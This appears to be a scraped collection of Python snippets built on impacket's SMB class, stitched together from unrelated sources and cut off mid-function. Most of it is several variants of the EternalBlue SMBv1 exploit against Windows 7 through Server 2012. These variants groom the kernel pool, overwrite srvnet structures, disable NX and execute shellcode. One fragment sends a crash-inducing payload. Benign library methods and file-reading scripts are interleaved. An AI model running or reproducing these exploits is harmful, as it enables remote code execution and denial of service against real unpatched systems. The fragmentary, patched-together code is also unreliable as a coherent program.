def exploit(target, shellcode, numGroomConn): result = '' # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() logger.log.debug('Target OS: '+server_os) if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): logger.log.debug('This exploit does not support this target') #sys.exit() return result tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) # we have to know what size of NtFeaList will be created when last fragment is sent # make sure server recv all payload before starting allocate big NonPaged #sendEcho(conn, tid, 'a'*12) # create buffer size NTFEA_SIZE-0x1000 at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # send echo again, all new 5 srvnet buffers should be created #sendEcho(conn, tid, 'a'*12) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag if retStatus == 0xc000000d: logger.log.debug('good response status: INVALID_PARAMETER') else: logger.log.debug('bad response status: 0x{:08x}'.format(retStatus)) try: # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode by closing srvnet connection for sk in srvnetConn: sk.close() result = target except Exception as e: #doorSocket.close() logger.log.debug(str(e)) # nicely close connection (no need for exploit) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return result
def open(self, host, port): self.smb = smb.SMB("*SMBSERVER", host, port)
def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: ' + server_os) if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")): print('This exploit does not support this target') sys.exit() tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/) # - SrvSmbNtTransaction() (smbtrans.c#L2677) # - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113) # - ExecuteTransaction() (smbtrans.c#L82) # - Call dispatch table (smbtrans.c#L347) # - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function) # - SrvSmbOpen2() (smbopen.c#L1002) # - call SrvOs2FeaListToNt() (smbopen.c#L1095) # https://msdn.microsoft.com/en-us/library/ee441720.aspx # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT progress = send_nt_trans(conn, tid, 0, feaList, '\x00' * 30, 2000, False) # we have to know what size of NtFeaList will be created when last fragment is sent # make sure server recv all payload before starting allocate big NonPaged #sendEcho(conn, tid, 'a'*12) # create buffer size NTFEA_SIZE-0x1000 at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # send echo again, all new 5 srvnet buffers should be created #sendEcho(conn, tid, 'a'*12) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag if retStatus == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode by closing srvnet connection for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close()
def negotiateSession( self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old # applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i # *SMBSERVER's limitations if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': self._remoteName = self._remoteHost elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best nb = nmb.NetBIOS() try: res = nb.getnetbiosname(self._remoteHost) except: pass else: self._remoteName = res hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negSessionResponse=SMB2Packet(packet)) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect %s", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: ' + server_os) if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): print('This exploit does not support this target') sys.exit() tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command progress = send_nt_trans(conn, tid, 0, feaList, '\x00' * 30, len(feaList) % 4096, False) # Another NT transaction for disabling NX nxconn = smb.SMB(target, target) nxconn.login_standard('', '') nxtid = nxconn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00' * 30, len(feaList) % 4096, False) # create some big buffer at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # first trigger to overwrite srvnet buffer struct for disabling NX send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) recvPkt = nxconn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: print('good response status for nx: INVALID_PARAMETER') else: print('bad response status for nx: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # send '\x00' to disable nx for sk in srvnetConn: sk.send('\x00') # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # second trigger to place fake struct and shellcode send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) nxconn.disconnect_tree(tid) nxconn.logoff() nxconn.get_socket().close() conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close()
def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=445, timeout=60, preferredDialect=None, existingConnection=None): self._SMBConnection = 0 self._dialect = '' self._nmbSession = 0 hostType = nmb.TYPE_SERVER if existingConnection is not None: # Existing Connection must be a smb or smb3 instance assert (isinstance(existingConnection, smb.SMB) or isinstance(existingConnection, smb3.SMB3)) self._SMBConnection = existingConnection return ##preferredDialect = smb.SMB_DIALECT if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(myName, remoteName, remoteHost, sess_port, timeout) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( remoteName, remoteHost, myName, hostType, sess_port, timeout, preferredDialect=preferredDialect) else: print "Unknown dialect ", preferredDialect raise
def negotiateSession( self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
def exploit(target): conn = smb.SMB(target, target) conn.login_standard('pesante', '1234') tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'test') list_path(conn, tid, 'test')
def connect_transferClient(self): self.transferClient = smb.SMB('*SMBSERVER', self.server.get_remote_host(), sess_port=self.port) user, passwd, domain, lm, nt = self.credentials self.transferClient.login(user, passwd, domain, lm, nt)
transCommand['Data']['Trans_Data'] = data[:firstDataCnt] pkt.addCommand(transCommand) conn.sendSMB(pkt) i = firstDataCnt while i < len(data): sendSize = min(4096, len(data) - i) send_trans2_second(tid, data[i:i+sendSize], i) i += sendSize conn.recvSMB() # force using smb.SMB for SMB1 conn = smb.SMB(TARGET, TARGET) # can use conn.login() for ntlmv2 conn.login_standard('', '') tid = conn.tree_connect_andx('\\\\'+TARGET+'\\'+'IPC$') # OOB write ~0x8c00 for BSOD payload = pack('<I', 0x10000) payload += pack('<BBH', 0, 0, 0xc003) payload += 'A'*0xc004 payload += pack('<BBH', 0, 0, 0xcc00) payload = payload.ljust(0x10000+976, 'B') send_nt_trans(tid, 0, payload, '\x00'*30, 976)
def setup_smb_server(self): if not self.__smb_server: self.__smb_server = smb.SMB('*SMBSERVER',self.get_dip(), sess_port = self.get_dport())
logging.basicConfig(level=logging.INFO) log = logging.getLogger(__name__) def print_filecontent(data): log.info(data) if __name__ == '__main__': remote_name = "HELLOOOOOOOOOOO" # random string remote_host = "192.168.206.114" username = '******' password = '******' pth = r"C:\Windows\system32\winrm.cmd" log.info('%s/445 - establish a smb connection', remote_host) smbclient = smb.SMB(remote_name, remote_host) log.info('%s/445 - smb login: %s / %s', remote_host, username, password) smbclient.login(username, password) drive, filename = pth.split(':') service = '%s$' % drive log.info('%s/445 - read remote file: %s', remote_host, pth) smbclient.retr_file(service, filename, print_filecontent) ## References # https://github.com/CoreSecurity/impacket/blob/master/impacket/smb.py#L3866
from impacket import smb if len(sys.argv) < 4: print "Use: %s <host> <share> <file> [user] [password]" % sys.argv[0] sys.exit(1) host = sys.argv[1] shre = sys.argv[2] file = sys.argv[3] user = '' passwd = '' try: user = sys.argv[4] passwd = sys.argv[5] except: pass s = smb.SMB('*SMBSERVER',host) s.login(user, passwd) tid = s.tree_connect_andx(r"\\*SMBSERVER\%s" % shre) fid = s.open_file(tid, file, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0] offset = 0 while 1: data = s.read_andx(tid, fid, offset, 40000) sys.stdout.write(data) if len(data) == 0: break offset += len(data) s.close_file(tid, fid)
def get_hostname(ip): smbs = smb.SMB("*SMBSERVER", ip) return smbs.get_server_name()
def createSessionAllocNonPaged(target, size): # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool. # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan. # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size" # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command. # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication # - GetNtSecurityParameters() function is resposible for extracting data from this packet format # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication # - GetExtendSecurityParameters() function is resposible for extracting data from this packet format # These 2 formats have different WordCount (first one is 13 and later is 12). # Here is logic in BlockingSessionSetupAndX() related to this bug # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format) # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request # - else, process a message as NT Security request # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY. # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size". # But GetExtendSecurityParameters() checks ByteCount value again. # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY. conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters'][ 'MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('[+] SMB1 session setup nonpaged pool allocation succeeded!') else: print('[-] SMB1 session setup allocate nonpaged pool failed.') return conn
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password): # force using smb.SMB for SMB1 conn = smb.SMB(target, target, sess_port=port) conn.login(username, password) server_os = conn.get_server_os() module.log('Target OS: ' + server_os) if server_os.startswith("Windows 10 "): build = int(server_os.split()[-1]) if build >= 14393: # version 1607 module.log( 'This exploit does not support this build: {} >= 14393'.format( build), 'error') sys.exit(1) elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): module.log( 'This exploit does not support this target: {}'.format(server_os), 'error') sys.exit(1) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, len(feaList) % 4096, False) # Another TRANS2_OPEN2 (0) with special feaList for disabling NX nxconn = smb.SMB(target, target, sess_port=port) nxconn.login(username, password) nxtid = nxconn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00' * 30, len(feaList) % 4096, False) # create some big buffer at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010, username, password) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x10, username, password) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True) srvnetConn.append(sk) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # first trigger, overwrite srvnet buffer struct for disabling NX send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) recvPkt = nxconn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: module.log('good response status for nx: INVALID_PARAMETER') else: module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error') # one of srvnetConn struct header should be modified # send '\x00' to disable nx for sk in srvnetConn: sk.send('\x00') # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # second trigger, place fake struct and shellcode send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: module.log('good response status: INVALID_PARAMETER') else: module.log('bad response status: 0x{:08x}'.format(retStatus), 'error') # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) nxconn.disconnect_tree(tid) nxconn.logoff() nxconn.get_socket().close() conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close()
def exploit(target, **kwargs): shell_code = kwargs.get("shell_code", "whoami") num_groom_connection = kwargs.get("num_groom_connection", 2) unacceptable_target_servers = [ 'Windows 7 ', 'Windows Server ', ' 2008 ', 'Windows Vista' ] ntfea_size = 0x11000 ntfea10000 = struct.pack('<BBH', 0, 0, 0xffdd) + 'A' * 0xffde ntfea11000 = (struct.pack('<BBH', 0, 0, 0) + '\x00') * 600 ntfea11000 += struct.pack('<BHH', 0, 0, 0xf3bd) + 'A' * 0xf3be ntfea1f000 = (struct.pack('<BBH', 0, 0, 0) + '\x00') * 0x2494 ntfea1f000 += struct.pack('<BBH', 0, 0, 0x48ed) + 'A' * 0x48ee ntfea = {0x10000: ntfea10000, 0x11000: ntfea11000} target_hal_heap_x64_addr = 0xffffffffffd00010 target_hal_heap_x86_addr = 0xffdff000 fake_srv_net_buffer = struct.pack('<II', 0x11000, 0) * 2 fake_srv_net_buffer += struct.pack('<HHI', 0xffff, 0, 0) * 2 fake_srv_net_buffer += '\x00' * 16 fake_srv_net_buffer += struct.pack('<IIII', target_hal_heap_x86_addr + 0x100, 0, 0, target_hal_heap_x86_addr + 0x20) fake_srv_net_buffer += struct.pack('<IIHHI', target_hal_heap_x86_addr + 0x100, 0, 0x60, 0x1004, 0) fake_srv_net_buffer += struct.pack('<IIQ', target_hal_heap_x86_addr - 0x80, 0, target_hal_heap_x64_addr) fake_srv_net_buffer += struct.pack('<QQ', target_hal_heap_x64_addr + 0x100, 0) fake_srv_net_buffer += struct.pack('<QHHI', 0, 0x60, 0x1004, 0) fake_srv_net_buffer += struct.pack('<QQ', 0, target_hal_heap_x64_addr - 0x80) fake_srv_net_buffer_x64 = struct.pack('<II', 0x11000, 0) * 2 fake_srv_net_buffer_x64 += struct.pack('<HHIQ', 0xffff, 0, 0, 0) fake_srv_net_buffer_x64 += '\x00' * 16 fake_srv_net_buffer_x64 += '\x00' * 16 fake_srv_net_buffer_x64 += '\x00' * 16 fake_srv_net_buffer_x64 += struct.pack('<IIQ', 0, 0, target_hal_heap_x64_addr) fake_srv_net_buffer_x64 += struct.pack('<QQ', target_hal_heap_x64_addr + 0x100, 0) fake_srv_net_buffer_x64 += struct.pack('<QHHI', 0, 0x60, 0x1004, 0) fake_srv_net_buffer_x64 += struct.pack('<QQ', 0, target_hal_heap_x64_addr - 0x80) current_fake_srv_net_buffer = fake_srv_net_buffer fea_list = struct.pack('<I', 0x10000) fea_list += ntfea[ntfea_size] fea_list += struct.pack( '<BHH', 0, 0, len(current_fake_srv_net_buffer) - 1) + current_fake_srv_net_buffer fea_list += struct.pack('<BHH', 0x12, 0x34, 0x5678) fake_recv_struct = struct.pack('<QII', 0, 3, 0) fake_recv_struct += '\x00' * 16 fake_recv_struct += struct.pack('<QII', 0, 3, 0) fake_recv_struct += ('\x00' * 16) * 7 fake_recv_struct += struct.pack('<QQ', target_hal_heap_x64_addr + 0xa0, target_hal_heap_x64_addr + 0xa0) fake_recv_struct += '\x00' * 16 fake_recv_struct += struct.pack('<IIQ', target_hal_heap_x86_addr + 0xc0, target_hal_heap_x86_addr + 0xc0, 0) fake_recv_struct += ('\x00' * 16) * 11 fake_recv_struct += struct.pack('<QII', 0, 0, target_hal_heap_x86_addr + 0x190) fake_recv_struct += struct.pack('<IIQ', 0, target_hal_heap_x86_addr + 0x1f0 - 1, 0) fake_recv_struct += ('\x00' * 16) * 3 fake_recv_struct += struct.pack('<QQ', 0, target_hal_heap_x64_addr + 0x1e0) fake_recv_struct += struct.pack('<QQ', 0, target_hal_heap_x64_addr + 0x1f0 - 1) def get_nt_status(self): return (self['ErrorCode'] << 16) | ( self['_reserved'] << 8) | self['ErrorClass'] setattr(smb.NewSMBPacket, "getNTStatus", get_nt_status) def send_echo_request(connection, tid, data): packet = smb.NewSMBPacket() packet['Tid'] = tid transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transfer_command['Parameters'] = smb.SMBEcho_Parameters() transfer_command['Data'] = smb.SMBEcho_Data() transfer_command['Parameters']['EchoCount'] = 1 transfer_command['Data']['Data'] = data packet.addCommand(transfer_command) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print("echo request succeeded") else: print("bad echo request: 0x{:x}".format( retval_packet.getNTStatus())) def create_alloc_session(target, size): connection = smb.SMB(target, target) _, flags = connection.get_flags() flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY if size >= 0xffff: flags &= ~smb.SMB.FLAGS2_UNICODE request_size = size // 2 else: flags |= smb.SMB.FLAGS2_UNICODE request_size = size connection.set_flags(flags2=flags) packet = smb.NewSMBPacket() session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) session_setup[ 'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() session_setup['Parameters']['MaxBufferSize'] = 61440 session_setup['Parameters']['MaxMpxCount'] = 2 session_setup['Parameters']['VcNumber'] = 2 session_setup['Parameters']['SessionKey'] = 0 session_setup['Parameters']['SecurityBlobLength'] = 0 session_setup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20 packet.addCommand(session_setup) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return connection def send_transfer_second(connection, tid, data, displacement): pkt = smb.NewSMBPacket() pkt['Tid'] = tid # assume no params transfer_command = smb.SMBCommand( smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transfer_command[ 'Parameters'] = lib.settings.SMBTransaction2SecondaryParametersFixed( ) transfer_command['Data'] = smb.SMBTransaction2Secondary_Data() transfer_command['Parameters']['TotalParameterCount'] = 0 transfer_command['Parameters']['TotalDataCount'] = len(data) fixed_offset = 32 + 3 + 18 transfer_command['Data']['Pad1'] = '' transfer_command['Parameters']['ParameterCount'] = 0 transfer_command['Parameters']['ParameterOffset'] = 0 if len(data) > 0: pad_to_len = (4 - fixed_offset % 4) % 4 transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len else: transfer_command['Data']['Pad2'] = '' pad_to_len = 0 transfer_command['Parameters']['DataCount'] = len(data) transfer_command['Parameters'][ 'DataOffset'] = fixed_offset + pad_to_len transfer_command['Parameters']['DataDisplacement'] = displacement transfer_command['Data']['Trans_Parameters'] = '' transfer_command['Data']['Trans_Data'] = data pkt.addCommand(transfer_command) connection.sendSMB(pkt) def send_big_transfer(connection, tid, setup, data, params, first_fragment, send_last=True): packet = smb.NewSMBPacket() packet['Tid'] = tid command = struct.pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transfer_command['Parameters'] = smb.SMBNTTransaction_Parameters() transfer_command['Parameters']['MaxSetupCount'] = 1 transfer_command['Parameters']['MaxParameterCount'] = len(params) transfer_command['Parameters']['MaxDataCount'] = 0 transfer_command['Data'] = smb.SMBTransaction2_Data() transfer_command['Parameters']['Setup'] = command transfer_command['Parameters']['TotalParameterCount'] = len(params) 